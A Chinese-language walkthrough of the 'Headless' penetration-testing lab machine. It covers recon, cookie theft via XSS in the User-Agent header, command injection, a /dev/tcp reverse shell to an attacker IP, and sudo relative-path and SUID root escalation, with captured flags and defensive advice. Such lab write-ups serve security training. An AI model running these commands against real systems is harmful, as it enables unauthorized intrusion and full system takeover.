[Meachines][Easy]Headless
字数 1109 2025-08-19 12:42:24
Headless 靶机渗透测试教学文档
靶机概述
Headless 是一个基于 Web 应用程序漏洞的渗透测试靶机,主要涉及 XSS 攻击、RCE(远程代码执行)和权限提升等技术点。靶机 IP 为 10.10.11.8。
信息收集阶段
初始扫描
使用 Nmap 进行初始端口扫描:
nmap -sC -sV 10.10.11.8 --min-rate 1000
目录扫描
发现目标运行在 5000 端口,使用 Gobuster 进行目录扫描:
gobuster dir -u "http://10.10.11.8:5000" -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
扫描结果发现 /dashboard 目录。
漏洞利用阶段
XSS 攻击
- 发现目标网站有一个留言板功能
- 尝试在 User-Agent 字段注入 JavaScript 语句
- 构造 XSS payload 用于窃取管理员 cookie:
- 使用 Burp Suite 重放请求,等待管理员中招
获取访问权限
- 使用窃取的 cookie 访问仪表盘:
http://10.10.11.8:5000/dashboard - 发现存在 RCE(远程代码执行)漏洞
远程代码执行
- 构造反向 shell payload 并进行 base64 编码:
echo "bash -i >& /dev/tcp/10.10.14.25/10032 0>&1" | base64
结果为:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xMDAzMiAwPiYxCg==
- 通过 RCE 漏洞执行以下命令(注意 + 号需要进行 URL 编码):
date=;echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xMDAzMiAwPiYxCg==|base64%20-d>/tmp/shell.sh;chmod%20777%20/tmp/shell.sh;ls%20-al%20/tmp/shell.sh;echo%20'cat%20/tmp/shell.sh
- 执行 shell 脚本:
date=;/bin/bash%20/tmp/shell.sh
- 获取用户 flag:
cat /home/dvir/user.txt
结果为:e2576236e9f7ebc8b857de1f2c10fe63
权限提升阶段
检查 sudo 权限
sudo -l
分析 syscheck 程序
strings /usr/bin/syscheck
发现程序会调用 ./initdb.sh 脚本
漏洞利用
- 关键点:
./initdb.sh使用的是相对路径 - 在 app 目录下创建恶意 initdb.sh:
echo '/bin/bash'>initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
成功获取 root 权限
- 获取 root flag:
cat /root/root.txt
结果为:927acc092719872f616c53b4a0e910a9
替代提权方法(海外大牛方案)
- 创建 initdb.sh 给 /bin/bash 设置 SUID:
echo "chmod u+s /bin/bash" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
/bin/bash -p
- 这样任何用户都可以使用特权模式运行 bash:
/bin/bash -c -p "whoami"
技术要点总结
- XSS 攻击:通过 User-Agent 注入 JavaScript 窃取 cookie
- RCE 漏洞:通过参数注入实现远程代码执行
- 权限提升:利用相对路径漏洞和 sudo 权限执行恶意脚本
- SUID 提权:通过给 /bin/bash 设置 SUID 实现持久性提权
防御建议
- 对用户输入进行严格过滤,防止 XSS 攻击
- 避免在 Web 应用中直接执行系统命令
- 使用绝对路径调用脚本
- 遵循最小权限原则,限制 sudo 权限
- 定期检查系统上的 SUID/SGID 文件